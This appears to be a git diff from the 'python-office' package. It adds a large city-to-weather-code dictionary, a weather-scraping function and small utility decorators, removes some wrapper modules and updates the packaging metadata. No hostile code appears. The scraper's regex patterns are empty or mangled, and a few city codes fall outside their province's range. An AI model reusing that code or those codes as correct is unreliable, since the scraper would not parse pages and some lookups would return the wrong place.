101201105, + '房县': 101201106, '丹江口': 101201107, '神农架': 101201201, '随州': 101201301, '广水': 101201302, + '荆门': 101201401, + '钟祥': 101201402, '京山': 101201403, '天门': 101201501, '仙桃': 101201601, '潜江': 101201701, + '杭州': 101210101, + '萧山': 101210102, '桐庐': 101210103, '淳安': 101210104, '建德': 101210105, '余杭': 101210106, + '临安': 101210107, + '富阳': 101210108, '湖州': 101210201, '长兴': 101210202, '安吉': 101210203, '德清': 101210204, + '嘉兴': 101210301, + '嘉善': 101210302, '海宁': 101210303, '桐乡': 101210304, '平湖': 101210305, '海盐': 101210306, + '宁波': 101210401, + '慈溪': 101210403, '余姚': 101210404, '奉化': 101210405, '象山': 101210406, '石浦': 101210407, + '宁海': 101210408, + '鄞县': 101210409, '北仑': 101210410, '鄞州': 101210411, '镇海': 101210412, '绍兴': 101210501, + '诸暨': 101210502, + '上虞': 101210503, '新昌': 101210504, '嵊州': 101210505, '台州': 101210601, '括苍山': 101210602, + '玉环': 101210603, + '三门': 101210604, '天台': 101210605, '仙居': 101210606, '温岭': 101210607, '大陈': 101210608, + '洪家': 101210609, + '温州': 101210701, '泰顺': 101210702, '文成': 101210703, '平阳': 101210704, '瑞安': 101210705, + '洞头': 101210706, + '乐清': 101210707, '永嘉': 101210708, '苍南': 101210709, '丽水': 101210801, '遂昌': 101210802, + '龙泉': 101210803, + '缙云': 101210804, '青田': 101210805, '云和': 101210806, '庆元': 101210807, '金华': 101210901, + '浦江': 101210902, + '兰溪': 101210903, '义乌': 101210904, '东阳': 101210905, '武义': 101210906, '永康': 101210907, + '磐安': 101210908, + '衢州': 101211001, '常山': 101211002, '开化': 101211003, '龙游': 101211004, '江山': 101211005, + '舟山': 101211101, + '嵊泗': 101211102, '嵊山': 101211103, '岱山': 101211104, '普陀': 101211105, '定海': 101211106, + '合肥': 101220101, + '长丰': 101220102, '肥东': 101220103, '肥西': 101220104, '蚌埠': 101220201, '怀远': 101220202, + '固镇': 101220203, + '五河': 101220204, '芜湖': 101220301, '繁昌': 101220302, '芜湖县': 101220303, '南陵': 101220304, + '淮南': 101220401, + '凤台': 101220402, '马鞍山': 101220501, '当涂': 101220502, '安庆': 101220601, '枞阳': 101220602, + '太湖': 101220603, + '潜山': 101220604, '怀宁': 101220605, '宿松': 101220606, '望江': 101220607, '岳西': 101220608, + '桐城': 101220609, + '宿州': 101220701, '砀山': 101220702, '灵璧': 101220703, '泗县': 101220704, '萧县': 101220705, + '阜阳': 101220801, + '阜南': 101220802, '颍上': 101220803, '临泉': 101220804, '界首': 101220805, '太和': 101220806, + '亳州': 101220901, + '涡阳': 101220902, '利辛': 101220903, '蒙城': 101220904, '黄山站': 101221001, '黄山区': 101221002, + '屯溪': 101221003, + '祁门': 101221004, '黟县': 101221005, '歙县': 101221006, '休宁': 101221007, '黄山市': 101221008, + '滁州': 101221101, + '凤阳': 101221102, '明光': 101221103, '定远': 101221104, '全椒': 101221105, '来安': 101221106, + '天长': 101221107, + '淮北': 101221201, '濉溪': 101221202, '铜陵': 101221301, '宣城': 101221401, '泾县': 101221402, + '旌德': 101221403, + '宁国': 101221404, '绩溪': 101221405, '广德': 101221406, '郎溪': 101221407, '六安': 101221501, + '霍邱': 101221502, + '寿县': 101221503, '南溪': 101271104, '金寨': 101221505, '霍山': 101221506, '舒城': 101221507, + '巢湖': 101221601, + '庐江': 101221602, '无为': 101221603, '含山': 101221604, '和县': 101221605, '池州': 101221701, + '东至': 101221702, + '青阳': 101221703, '九华山': 101221704, '石台': 101221705, '福州': 101230101, '闽清': 101230102, + '闽侯': 101230103, + '罗源': 101230104, '连江': 101230105, '马祖': 101230106, '永泰': 101230107, '平潭': 101230108, + '福州郊区': 101230109, + '长乐': 101230110, '福清': 101230111, '平潭海峡大桥': 101230112, '厦门': 101230201, '同安': 101230202, + '宁德': 101230301, + '古田': 101230302, '霞浦': 101230303, '寿宁': 101230304, '周宁': 101230305, '福安': 101230306, + '柘荣': 101230307, + '福鼎': 101230308, '屏南': 101230309, '莆田': 101230401, '仙游': 101230402, '秀屿港': 101230403, + '泉州': 101230501, + '安溪': 101230502, '九仙山': 101230503, '永春': 101230504, '德化': 101230505, '南安': 101230506, + '崇武': 101230507, + '晋江': 101230509, '漳州': 101230601, '长泰': 101230602, '南靖': 101230603, '平和': 101230604, + '龙海': 101230605, + '漳浦': 101230606, '诏安': 101230607, '东山': 101230608, '云霄': 101230609, '华安': 101230610, + '龙岩': 101230701, + '长汀': 101230702, '连城': 101230703, '武平': 101230704, '上杭': 101230705, '永定': 101230706, + '漳平': 101230707, + '三明': 101230801, '宁化': 101230802, '清流': 101230803, '泰宁': 101230804, '将乐': 101230805, + '建宁': 101230806, + '明溪': 101230807, '沙县': 101230808, '尤溪': 101230809, '永安': 101230810, '大田': 101230811, + '南平': 101230901, + '顺昌': 101230902, '光泽': 101230903, '邵武': 101230904, '武夷山': 101230905, '浦城': 101230906, + '建阳': 101230907, + '松溪': 101230908, '政和': 101230909, '建瓯': 101230910, '南昌': 101240101, '新建': 101240102, + '南昌县': 101240103, + '安义': 101240104, '进贤': 101240105, '莲塘': 101240106, '九江': 101240201, '瑞昌': 101240202, + '庐山': 101240203, + '武宁': 101240204, '德安': 101240205, '永修': 101240206, '湖口': 101240207, '彭泽': 101240208, + '星子': 101240209, + '都昌': 101240210, '棠荫': 101240211, '修水': 101240212, '上饶': 101240301, '鄱阳': 101240302, + '婺源': 101240303, + '康山': 101240304, '余干': 101240305, '万年': 101240306, '德兴': 101240307, '上饶县': 101240308, + '弋阳': 101240309, + '横峰': 101240310, '铅山': 101240311, '玉山': 101340903, '广丰': 101240313, '波阳': 101240314, + '抚州': 101240401, + '广昌': 101240402, '乐安': 101240403, '崇仁': 101240404, '金溪': 101240405, '资溪': 101240406, + '宜黄': 101240407, + '南城': 101240408, '南丰': 101240409, '黎川': 101240410, '宜春': 101240501, '铜鼓': 101240502, + '宜丰': 101240503, + '万载': 101240504, '上高': 101240505, '靖安': 101240506, '奉新': 101240507, '高安': 101240508, + '樟树': 101240509, + '丰城': 101240510, '吉安': 101240601, '吉安县': 101240602, '吉水': 101240603, '新干': 101240604, + '峡江': 101240605, + '永丰': 101240606, '永新': 101240607, '井冈山': 101240608, '万安': 101240609, '遂川': 101240610, + '泰和': 101240611, + '安福': 101240612, '宁冈': 101240613, '赣州': 101240701, '崇义': 101240702, '上犹': 101240703, + '南康': 101240704, + '大余': 101240705, '信丰': 101240706, '宁都': 101240707, '石城': 101240708, '瑞金': 101240709, + '于都': 101240710, + '会昌': 101240711, '安远': 101240712, '全南': 101240713, '龙南': 101240714, '定南': 101240715, + '寻乌': 101240716, + '兴国': 101240717, '景德镇': 101240801, '乐平': 101240802, '萍乡': 101240901, '莲花': 101240902, + '新余': 101241001, + '分宜': 101241002, '鹰潭': 101241101, '余江': 101241102, '贵溪': 101241103, '长沙': 101250101, + '宁乡': 101250102, + '浏阳': 101250103, '马坡岭': 101250104, '湘潭': 101250201, '韶山': 101250202, '湘乡': 101250203, + '株洲': 101250301, + '攸县': 101250302, '醴陵': 101250303, '株洲县': 101250304, '茶陵': 101250305, '炎陵': 101250306, + '衡阳': 101250401, + '衡山': 101250402, '衡东': 101250403, '祁东': 101250404, '衡阳县': 101250405, '常宁': 101250406, + '衡南': 101250407, + '耒阳': 101250408, '南岳': 101250409, '郴州': 101250501, '桂阳': 101250502, '嘉禾': 101250503, + '宜章': 101250504, + '临武': 101250505, '桥口': 101250506, '资兴': 101250507, '汝城': 101250508, '安仁': 101250509, + '永兴': 101250510, + '桂东': 101250511, '常德': 101250601, '安乡': 101250602, '桃源': 101250603, '汉寿': 101250604, + '澧县': 101250605, + '临澧': 101250606, '石门': 101250607, '益阳': 101250700, '赫山区': 101250701, '南县': 101250702, + '桃江': 101250703, + '安化': 101250704, '沅江': 101250705, '娄底': 101250801, '双峰': 101250802, '冷水江': 101250803, + '冷水滩': 101250804, + '新化': 101250805, '涟源': 101250806, '邵阳': 101250901, '隆回': 101250902, '洞口': 101250903, + '新邵': 101250904, + '邵东': 101250905, '绥宁': 101250906, '新宁': 101250907, '武冈': 101250908, '城步': 101250909, + '邵阳县': 101250910, + '岳阳': 101251001, '华容': 101251002, '湘阴': 101251003, '汨罗': 101251004, '平江': 101251005, + '临湘': 101251006, + '张家界': 101251101, '桑植': 101251102, '慈利': 101251103, '怀化': 101251201, '鹤城区': 101251202, + '沅陵': 101251203, + '辰溪': 101251204, '靖州': 101251205, '会同': 101251206, '通道': 101251207, '麻阳': 101251208, + '新晃': 101251209, + '芷江': 101251210, '溆浦': 101251211, '黔阳': 101251301, '洪江': 101251302, '永州': 101251401, + '祁阳': 101251402, + '东安': 101251403, '双牌': 101251404, '道县': 101251405, '宁远': 101251406, '江永': 101251407, + '蓝山': 101251408, + '新田': 101251409, '江华': 101251410, '吉首': 101251501, '保靖': 101251502, '永顺': 101251503, + '古丈': 101251504, + '凤凰': 101251505, '泸溪': 101251506, '龙山': 101251507, '花垣': 101251508, '贵阳': 101260101, + '白云': 101260102, + '花溪': 101260103, '乌当': 101260104, '息烽': 101260105, '开阳': 101260106, '修文': 101260107, + '清镇': 101260108, + '遵义': 101260201, '遵义县': 101260202, '仁怀': 101260203, '绥阳': 101260204, '湄潭': 101260205, + '凤冈': 101260206, + '桐梓': 101260207, '赤水': 101260208, '习水': 101260209, '道真': 101260210, '正安': 101260211, + '务川': 101260212, + '余庆': 101260213, '汇川': 101260214, '安顺': 101260301, '普定': 101260302, '镇宁': 101260303, + '平坝': 101260304, + '紫云': 101260305, '关岭': 101260306, '都匀': 101260401, '贵定': 101260402, '瓮安': 101260403, + '长顺': 101260404, + '福泉': 101260405, '惠水': 101260406, '龙里': 101260407, '罗甸': 101260408, '平塘': 101260409, + '独山': 101260410, + '三都': 101260411, '荔波': 101260412, '凯里': 101260501, '岑巩': 101260502, '施秉': 101260503, + '镇远': 101260504, + '黄平': 101260505, '黄平旧洲': 101260506, '麻江': 101260507, '丹寨': 101260508, '三穗': 101260509, + '台江': 101260510, + '剑河': 101260511, '雷山': 101260512, '黎平': 101260513, '天柱': 101260514, '锦屏': 101260515, + '榕江': 101260516, + '从江': 101260517, '炉山': 101260518, '铜仁': 101260601, '江口': 101260602, '玉屏': 101260603, + '万山': 101260604, + '思南': 101260605, '塘头': 101260606, '印江': 101260607, '石阡': 101260608, '沿河': 101260609, + '德江': 101260610, + '松桃': 101260611, '毕节': 101260701, '赫章': 101260702, '金沙': 101260703, '威宁': 101260704, + '大方': 101260705, + '纳雍': 101260706, '织金': 101260707, '六盘水': 101260801, '六枝': 101260802, '水城': 101260803, + '盘县': 101260804, + '黔西': 101260901, '晴隆': 101260902, '兴仁': 101260903, '贞丰': 101260904, '望谟': 101260905, + '兴义': 101260906, + '安龙': 101260907, '册亨': 101260908, '普安': 101260909, '成都': 101270101, '龙泉驿': 101270102, + '新都': 101270103, + '温江': 101270104, '金堂': 101270105, '双流': 101270106, '郫县': 101270107, '大邑': 101270108, + '蒲江': 101270109, + '新津': 101270110, '都江堰': 101270111, '彭州': 101270112, '邛崃': 101270113, '崇州': 101270114, + '崇庆': 101270115, + '彭县': 101270116, '攀枝花': 101270201, '仁和': 101270202, '米易': 101270203, '盐边': 101270204, + '自贡': 101270301, + '富顺': 101270302, '荣县': 101270303, '绵阳': 101270401, '三台': 101270402, '盐亭': 101270403, + '安县': 101270404, + '梓潼': 101270405, '北川': 101270406, '平武': 101270407, '江油': 101270408, '南充': 101270501, + '南部': 101270502, + '营山': 101270503, '蓬安': 101270504, '仪陇': 101270505, '西充': 101270506, '阆中': 101270507, + '达州': 101270601, + '宣汉': 101270602, '开江': 101270603, '大竹': 101270604, '渠县': 101270605, '万源': 101270606, + '达川': 101270607, + '遂宁': 101270701, '蓬溪': 101270702, '射洪': 101270703, '广安': 101270801, '岳池': 101270802, + '武胜': 101270803, + '邻水': 101270804, '华蓥山': 101270805, '巴中': 101270901, '通江': 101270902, '南江': 101270903, + '平昌': 101270904, + '泸州': 101271001, '泸县': 101271003, '合江': 101271004, '叙永': 101271005, '古蔺': 101271006, + '纳溪': 101271007, + '宜宾': 101271101, '宜宾农试站': 101271102, '宜宾县': 101271103, '江安': 101271105, '长宁': 101271106, + '高县': 101271107, + '珙县': 101271108, '筠连': 101271109, '兴文': 101271110, '屏山': 101271111, '内江': 101271201, + '东兴': 101301403, + '威远': 101271203, '资中': 101271204, '隆昌': 101271205, '资阳': 101271301, '安岳': 101271302, + '乐至': 101271303, + '简阳': 101271304, '乐山': 101271401, '犍为': 101271402, '井研': 101271403, '夹江': 101271404, + '沐川': 101271405, + '峨边': 101271406, '马边': 101271407, '峨眉': 101271408, '峨眉山': 101271409, '眉山': 101271501, + '仁寿': 101271502, + '彭山': 101271503, '洪雅': 101271504, '丹棱': 101271505, '青神': 101271506, '凉山': 101271601, + '木里': 101271603, + '盐源': 101271604, '德昌': 101271605, '会理': 101271606, '会东': 101271607, '宁南': 101271608, + '普格': 101271609, + '西昌': 101271610, '金阳': 101271611, '昭觉': 101271612, '喜德': 101271613, '冕宁': 101271614, + '越西': 101271615, + '甘洛': 101271616, '雷波': 101271617, '美姑': 101271618, '布拖': 101271619, '雅安': 101271701, + '名山': 101271702, + '荣经': 101271703, '汉源': 101271704, '石棉': 101271705, '天全': 101271706, '芦山': 101271707, + '宝兴': 101271708, + '甘孜': 101271801, '康定': 101271802, '泸定': 101271803, '丹巴': 101271804, '九龙': 101320102, + '雅江': 101271806, + '道孚': 101271807, '炉霍': 101271808, '新龙': 101271809, '德格': 101271810, '白玉': 101271811, + '石渠': 101271812, + '色达': 101271813, '理塘': 101271814, '巴塘': 101271815, '乡城': 101271816, '稻城': 101271817, + '得荣': 101271818, + '阿坝': 101271901, '汶川': 101271902, '理县': 101271903, '茂县': 101271904, '松潘': 101271905, + '九寨沟': 101271906, + '金川': 101271907, '小金': 101271908, '黑水': 101271909, '马尔康': 101271910, '壤塘': 101271911, + '若尔盖': 101271912, + '红原': 101271913, '南坪': 101271914, '德阳': 101272001, '中江': 101272002, '广汉': 101272003, + '什邡': 101272004, + '绵竹': 101272005, '罗江': 101272006, '广元': 101272101, '旺苍': 101272102, '青川': 101272103, + '剑阁': 101272104, + '苍溪': 101272105, '广州': 101280101, '番禺': 101280102, '从化': 101280103, '增城': 101280104, + '花都': 101280105, + '天河': 101280106, '韶关': 101280201, '乳源': 101280202, '始兴': 101280203, '翁源': 101280204, + '乐昌': 101280205, + '仁化': 101280206, '南雄': 101280207, '新丰': 101280208, '曲江': 101280209, '惠州': 101280301, + '博罗': 101280302, + '惠阳': 101280303, '惠东': 101280304, '龙门': 101280305, '梅州': 101280401, '兴宁': 101280402, + '蕉岭': 101280403, + '大埔': 101280404, '丰顺': 101280406, '平远': 101280407, '五华': 101280408, '梅县': 101280409, + '汕头': 101280501, + '潮阳': 101280502, '澄海': 101280503, '南澳': 101280504, '云澳': 101280505, '南澎岛': 101280506, + '深圳': 101280601, + '珠海': 101280701, '斗门': 101280702, '黄茅洲': 101280703, '佛山': 101280800, '顺德': 101280801, + '三水': 101280802, + '南海': 101280803, '肇庆': 101280901, '广宁': 101280902, '四会': 101280903, '德庆': 101280905, + '怀集': 101280906, + '封开': 101280907, '高要': 101280908, '湛江': 101281001, '吴川': 101281002, '雷州': 101281003, + '徐闻': 101281004, + '廉江': 101281005, '硇洲': 101281006, '遂溪': 101281007, '江门': 101281101, '开平': 101281103, + '新会': 101281104, + '恩平': 101281105, '台山': 101281106, '上川岛': 101281107, '鹤山': 101281108, '河源': 101281201, + '紫金': 101281202, + '连平': 101281203, '和平': 101281204, '龙川': 101281205, '清远': 101281301, '连南': 101281302, + '连州': 101281303, + '连山': 101281304, '阳山': 101281305, '佛冈': 101281306, '英德': 101281307, '云浮': 101281401, + '罗定': 101281402, + '新兴': 101281403, '郁南': 101281404, '潮州': 101281501, '饶平': 101281502, '东莞': 101281601, + '中山': 101281701, + '阳江': 101281801, '阳春': 101281802, '揭阳': 101281901, '揭西': 101281902, '普宁': 101281903, + '惠来': 101281904, + '茂名': 101282001, '高州': 101282002, '化州': 101282003, '电白': 101282004, '信宜': 101282005, + '汕尾': 101282101, + '海丰': 101282102, '陆丰': 101282103, '遮浪': 101282104, '东沙岛': 101282105, '昆明': 101290101, + '昆明农试站': 101290102, + '东川': 101290103, '寻甸': 101290104, '晋宁': 101290105, '宜良': 101290106, '石林': 101290107, + '呈贡': 101290108, + '富民': 101290109, '嵩明': 101290110, '禄劝': 101290111, '安宁': 101290112, '太华山': 101290113, + '大理': 101290201, + '云龙': 101290202, '漾鼻': 101290203, '永平': 101290204, '宾川': 101290205, '弥渡': 101290206, + '祥云': 101290207, + '魏山': 101290208, '剑川': 101290209, '洱源': 101290210, '鹤庆': 101290211, '南涧': 101290212, + '红河': 101290301, + '石屏': 101290302, '建水': 101290303, '弥勒': 101290304, '元阳': 101290305, '绿春': 101290306, + '开远': 101290307, + '个旧': 101290308, '蒙自': 101290309, '屏边': 101290310, '泸西': 101290311, '金平': 101290312, + '曲靖': 101290401, + '沾益': 101290402, '陆良': 101290403, '富源': 101290404, '马龙': 101290405, '师宗': 101290406, + '罗平': 101290407, + '会泽': 101290408, '宣威': 101290409, '保山': 101290501, '富宁': 101290502, '龙陵': 101290503, + '施甸': 101290504, + '昌宁': 101290505, '腾冲': 101290506, '文山': 101290601, '西畴': 101290602, '马关': 101290603, + '麻栗坡': 101290604, + '砚山': 101290605, '邱北': 101290606, '广南': 101290607, '玉溪': 101290701, '澄江': 101290702, + '江川': 101290703, + '通海': 101290704, '华宁': 101290705, '新平': 101290706, '易门': 101290707, '峨山': 101290708, + '元江': 101290709, + '楚雄': 101290801, '大姚': 101290802, '元谋': 101290803, '姚安': 101290804, '牟定': 101290805, + '南华': 101290806, + '武定': 101290807, '禄丰': 101290808, '双柏': 101290809, '永仁': 101290810, '普洱': 101290905, + '景谷': 101290902, + '景东': 101290903, '澜沧': 101290904, '墨江': 101290906, '江城': 101290907, '孟连': 101290908, + '西盟': 101290909, + '镇源': 101290910, '镇沅': 101290911, '宁洱': 101290912, '昭通': 101291001, '鲁甸': 101291002, + '彝良': 101291003, + '镇雄': 101291004, '威信': 101291005, '巧家': 101291006, '绥江': 101291007, '永善': 101291008, + '盐津': 101291009, + '大关': 101291010, '临沧': 101291101, '沧源': 101291102, '耿马': 101291103, '双江': 101291104, + '凤庆': 101291105, + '永德': 101291106, '云县': 101291107, '镇康': 101291108, '怒江': 101291201, '福贡': 101291203, + '兰坪': 101291204, + '泸水': 101291205, '六库': 101291206, '贡山': 101291207, '香格里拉': 101291301, '德钦': 101291302, + '维西': 101291303, + '中甸': 101291304, '丽江': 101291401, '永胜': 101291402, '华坪': 101291403, '宁蒗': 101291404, + '德宏': 101291501, + '潞江坝': 101291502, '陇川': 101291503, '盈江': 101291504, '畹町镇': 101291505, '瑞丽': 101291506, + '梁河': 101291507, + '潞西': 101291508, '景洪': 101291601, '大勐龙': 101291602, '勐海': 101291603, '景洪电站': 101291604, + '勐腊': 101291605, + '南宁': 101300101, '南宁城区': 101300102, '邕宁': 101300103, '横县': 101300104, '隆安': 101300105, + '马山': 101300106, + '上林': 101300107, '武鸣': 101300108, '宾阳': 101300109, '硕龙': 101300110, '崇左': 101300201, + '天等': 101300202, + '龙州': 101300203, '凭祥': 101300204, '大新': 101300205, '扶绥': 101300206, '宁明': 101300207, + '海渊': 101300208, + '柳州': 101300301, '柳城': 101300302, '沙塘': 101300303, '鹿寨': 101300304, '柳江': 101300305, + '融安': 101300306, + '融水': 101300307, '三江': 101300308, '来宾': 101300401, '忻城': 101300402, '金秀': 101300403, + '象州': 101300404, + '武宣': 101300405, '桂林': 101300501, '桂林农试站': 101300502, '龙胜': 101300503, '永福': 101300504, + '临桂': 101300505, + '兴安': 101300506, '灵川': 101300507, '全州': 101300508, '灌阳': 101300509, '阳朔': 101300510, + '恭城': 101300511, + '平乐': 101300512, '荔浦': 101300513, '资源': 101300514, '梧州': 101300601, '藤县': 101300602, + '太平': 101300603, + '苍梧': 101300604, '蒙山': 101300605, '岑溪': 101300606, '贺州': 101300701, '昭平': 101300702, + '富川': 101300703, + '钟山': 101300704, '信都': 101300705, '贵港': 101300801, '桂平': 101300802, '平南': 101300803, + '玉林': 101300901, + '博白': 101300902, '北流': 101300903, '容县': 101300904, '陆川': 101300905, '百色': 101301001, + '那坡': 101301002, + '田阳': 101301003, '德保': 101301004, '靖西': 101301005, '田东': 101301006, '平果': 101301007, + '隆林': 101301008, + '西林': 101301009, '乐业': 101301010, '凌云': 101301011, '田林': 101301012, '钦州': 101301101, + '浦北': 101301102, + '灵山': 101301103, '河池': 101301201, '天峨': 101301202, '东兰': 101301203, '巴马': 101301204, + '环江': 101301205, + '罗城': 101301206, '宜州': 101301207, '凤山': 101301208, '南丹': 101301209, '都安': 101301210, + '北海': 101301301, + '合浦': 101301302, '涠洲岛': 101301303, '防城港': 101301401, '上思': 101301402, '板栏': 101301404, + '防城': 101301405, + '海口': 101310101, '琼山': 101310102, '三亚': 101310201, '东方': 101310202, '临高': 101310203, + '澄迈': 101310204, + '儋州': 101310205, '昌江': 101310206, '白沙': 101310207, '琼中': 101310208, '定安': 101310209, + '屯昌': 101310210, + '琼海': 101310211, '文昌': 101310212, '清兰': 101310213, '保亭': 101310214, '万宁': 101310215, + '陵水': 101310216, + '西沙': 101310217, '珊瑚岛': 101310218, '永署礁': 101310219, '南沙岛': 101310220, '乐东': 101310221, + '五指山': 101310222, + '通什': 101310223, '香港': 101320101, '新界': 101320103, '中环': 101320104, '铜锣湾': 101320105, + '澳门': 101330101, + '台北县': 101340101, '台北市': 101340102, '高雄': 101340201, '大武': 101340203, '恒春': 101340204, + '兰屿': 101340205, + '台南': 101340301, '台中': 101340401, '桃园': 101340501, '新竹县': 101340601, '新竹市': 101340602, + '公馆': 101340603, + '宜兰': 101340701, '马公': 101340801, '东吉屿': 101340802, '嘉义': 101340901, '阿里山': 101340902, + '新港': 101340904} diff --git a/office/lib/tools/weather_service.py b/office/lib/tools/weather_service.py new file mode 100644 index 0000000000000000000000000000000000000000..ba4e804f4c243a1cdb7651484c41a0da4a52e38a --- /dev/null +++ b/office/lib/tools/weather_service.py @@ -0,0 +1,24 @@ +import requests +import re + +#天气爬虫 +def weather_spider(url,headers): + response = requests.get(url,headers) + content = response.content.decode('utf-8') + pat_weather = re.compile('') + pat_up_time = re.compile('') + weather = pat_weather.findall(content) + up_time = pat_up_time.findall(content) + print(weather[0]) + print('更新时间：',up_time[0]) + ask_ok = input('是否深入查看（Y/N）：') + if ask_ok == 'Y' or ask_ok == 'y': + pat_more_weather = re.compile('
  • .(.*?)\n(.*?)\n

    (.*?)

    .*?\n
    • ',re.S) + more_weather = pat_more_weather.findall(content) + for item in more_weather: + if item[1] != '减肥指数': + print(item[1],':',item[0],',',item[2]) + else: + print(item[1],':',item[2]) + + diff --git a/office/lib/utils/__init__.py b/office/lib/utils/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/utils/except_utils.py b/office/lib/utils/except_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..1a410ae56003686005623ebf924ff03c318714e0 --- /dev/null +++ b/office/lib/utils/except_utils.py @@ -0,0 +1,31 @@ +from datetime import datetime +# import traceback +from functools import wraps + + +# 统一的异常输出 +def except_dec(msg='异常原因'): + # msg用于自定义函数的提示信息 + def except_execute(func): + @wraps(func) + def execept_print(*args, **kwargs): + try: + return func(*args, **kwargs) + except Exception as e: + print('=' * 30) + + print('糟糕，你的程序出现了异常') + print( + f'>>>异常时间：\t{datetime.now()}\n>>>异常函数：\t{func.__name__}\n>>>{msg}：\t{e}') + + print('别慌，你的异常也许【群友也遇到过】 → http://t.cn/A65MiFvH') + print('当然，也可以免费【加入星球，向我提问】 → http://t.cn/A6qeZpVt') + + + print('=' * 30) + + # print(f'{sign}{traceback.format_exc()}{sign}') + + return execept_print + + return except_execute diff --git a/office/lib/utils/pandas_mem.py b/office/lib/utils/pandas_mem.py new file mode 100644 index 0000000000000000000000000000000000000000..f61d4c6675603178dcc21e252c6001a4f1548c0d --- /dev/null +++ b/office/lib/utils/pandas_mem.py @@ -0,0 +1,36 @@ +import numpy as np + + +def reduce_pandas_mem_usage(df): + """ iterate through all the columns of a dataframe and modify the data type + to reduce memory usage. + """ + # start_mem = df.memory_usage().sum() / 1024 ** 2 + # print('Memory usage of dataframe is {:.2f} MB'.format(start_mem)) + + for col in df.columns: + col_type = df[col].dtype + + if col_type != object: + c_min = df[col].min() + c_max = df[col].max() + if str(col_type)[:3] == 'int': + if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max: + df[col] = df[col].astype(np.int8) + elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max: + df[col] = df[col].astype(np.int16) + elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max: + df[col] = df[col].astype(np.int32) + elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max: + df[col] = df[col].astype(np.int64) + else: + if 'date' in col: + pass + else: + df[col] = df[col].astype('category') + + # end_mem = df.memory_usage().sum() / 1024 ** 2 + # print('Memory usage after optimization is: {:.2f} MB'.format(end_mem)) + # print('Decreased by {:.1f}%'.format(100 * (start_mem - end_mem) / start_mem)) + + return df diff --git a/office/lib/utils/time_utils.py b/office/lib/utils/time_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..a1adf8070e43cfef893748179e3d448d109124f0 --- /dev/null +++ b/office/lib/utils/time_utils.py @@ -0,0 +1,12 @@ +import time + + +def time_count_dec(func): + def wrapper(*args, **kwargs): + t1 = time.time() + res = func(*args, **kwargs) + t2 = time.time() + print(func.__name__ + "执行耗时" + str(t2 - t1)) + return res + + return wrapper diff --git a/office/pdf.py b/office/pdf.py deleted file mode 100644 index 5866669b431d1ab20b8a008c2106b5d3060232ef..0000000000000000000000000000000000000000 --- a/office/pdf.py +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: utf-8 -*- - -from core.PDFType import MainPDF - -mainPDF = MainPDF() - - -# 给pdf加水印 -def add_watermark(): - mainPDF.add_watermark() - - -# txt转pdf -def txt2pdf(path, res_pdf='txt2pdf.pdf'): - mainPDF.file2pdf(path, res_pdf) - - -# PDF加密 -def encrypt4pdf(path, password, res_pdf='encrypt.pdf'): - mainPDF.encrypt4pdf(path, password, res_pdf) - - -# PDF解密 -def decrypt4pdf(path, password, res_pdf='decrypt.pdf'): - mainPDF.decrypt4pdf(path, password, res_pdf) - - -# 合并pdf -def merge2pdf(one_by_one, output): - mainPDF.merge2pdf(one_by_one, output) - - -def pdf2docx(file_path): - mainPDF.pdf2docx(file_path) diff --git a/office/tools.py b/office/tools.py deleted file mode 100644 index d5b8cf9effc368b477ebfff1f1988d52efd14864..0000000000000000000000000000000000000000 --- a/office/tools.py +++ /dev/null @@ -1,24 +0,0 @@ -from core.ToolsType import MainTools - -mainTools = MainTools() - - -def transtools(to_lang, content): - mainTools.transtools(to_lang, content) - - -def qrcodetools(url): - mainTools.qrcodetools(url) - - -def passwordtools(len=8): - mainTools.passwordtools(len) - - -def weather(): - mainTools.weather() - - -# 通过url，获取ip地址 -def url2ip(url): - mainTools.url2ip(url) diff --git a/office/video.py b/office/video.py deleted file mode 100644 index dc115c81aa196cca5a93f37c956cbdd916c12874..0000000000000000000000000000000000000000 --- a/office/video.py +++ /dev/null @@ -1,8 +0,0 @@ -from core.VideoType import MainVideo - -mainVideo = MainVideo() - - -# 从视频里提取音频 -def video2mp3(path, mp3_name=None): - mainVideo.video2mp3(path,mp3_name) \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index cf1796ba0c4fece3a8c1c07675dfe23a7bb78054..2d377285a38a7566ef1591a84027fd9e2cb5dbae 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -2,10 +2,7 @@ name = "python-office" packages = [ - { include = "office" }, - { include = "cli" }, - { include = "core" }, - { include = "lib" }, + { include = "office" }, # 调用的方法 ] version = "0.0.28" @@ -71,4 +68,11 @@ default = true url = "https://pypi.tuna.tsinghua.edu.cn/simple" [tool.poetry.scripts] -office = 'cli.main:app' +office = 'office.cli.main:app' + +[tool.pytest.ini_options] +addopts = "--doctest-modules" +testpaths = ["tests", "office"] + +[tool.coverage.run] +source_pkgs = ["office"] \ No newline at end of file diff --git a/setup.cfg b/setup.cfg index 4971945e135de5a9ce2493086672bc72696246f3..26121fafb9e93839b8909e4d8aa029062765a1eb 100644 --- a/setup.cfg +++ b/setup.cfg @@ -1,6 +1,6 @@ [metadata] name = python-office -version = 0.0.30 +version = 0.2.12 description = python for office long_description = file: README.md long_description_content_type = text/markdown @@ -11,35 +11,40 @@ license = Apache-2.0 license license_file = LICENSE platforms = any -project_urls = - Bug Tracker = https://github.com/CoderWanFeng/python-office/issues - Documentation = https://github.com/CoderWanFeng/python-office/blob/master/README.md - Source Code = https://github.com/CoderWanFeng/python-office +project_urls = + Bug Tracker = https://github.com/CoderWanFeng/python-office/issues + Documentation = https://github.com/CoderWanFeng/python-office/blob/master/README.md + Source Code = https://github.com/CoderWanFeng/python-office [options] packages = find: -install_requires = - xlrd - xlwt - xlutils - xlwings - python-docx - python-pptx - PyPDF2 - openpyxl - pandas - Faker - reportlab - rich >= 9.13.0 - moviepy - fpdf - qrcode - translate - pikepdf - progress - alive_progress - pdf2docx +install_requires = + xlrd + xlwt + xlutils + xlwings + python-docx + python-pptx + PyPDF2 + openpyxl + pandas + Faker + reportlab + rich >= 9.13.0 + moviepy + fpdf + qrcode + translate + pikepdf + progress + alive_progress + pdf2docx + requests + PyMuPDF + you-get + search4file + pywifi + 